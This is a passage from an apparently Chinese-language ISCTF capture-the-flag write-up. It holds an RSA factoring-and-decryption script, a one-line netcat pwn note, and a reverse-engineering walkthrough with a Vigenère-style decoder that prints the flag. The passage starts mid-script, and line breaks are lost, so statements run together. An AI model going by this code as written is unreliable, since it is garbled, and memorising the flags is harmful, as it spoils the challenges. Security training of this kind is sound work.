(1<<777)result1,abc= iroot(p1, 4)p1 = 145356063641618996012874664536921616978986640263438210169671010403677822239343590475177543891188656103067696467174379510912427160232486984044862545338401652910975162942038201716552753723984593267892098222213049269335313670049037479410635628460505327693176152061750827570561482918795206276991967169087371403553 - (1<<778)result2 ,abc= iroot(p1, 4)for i in range(result2,result1):if(n%i == 0):print(i)p = 109801503867274649798222703146361472504035741051437565219324438087291269873711
q = 9950064641808583425441380993204379964643079019269971708698812996666949204486839200061353570738734894251003369916113176284264531697575009505411310591828757e=65537q = q**4phi = (p - 1) * (q - 1) * q**3
d = inverse(e, phi)
s = pow(c1,d,n)
print(s)m = ((c-1)//(s**3))%(s**2)
print(m)
print(long_to_bytes(m))
Pwn
Netcat
nc 连接得到 flag
Reverse
Ezre
先查壳
64位无壳
放入ida查看
找到主函数
然后寻找加密函数
跟进sub_1400112E9得
发现就是一个用v5循环与v4相减的函数
编写脚本
s = "QKEMK{7JB5_i5_W3SllD_3z_W3}"
str = "ISCTF"
for i in range(27):
a = ord(s[i])
if 0<=a-65<=25:
b = ord(str[i%5])
c = a-b
if c<0:
print(end=chr(c+65+26))
else:
print( end=chr(c+65) )
else:
print(end=s[i])
输出结果得
flag 值:ISCTF{7HI5_i5_R3AllY_3z_R3}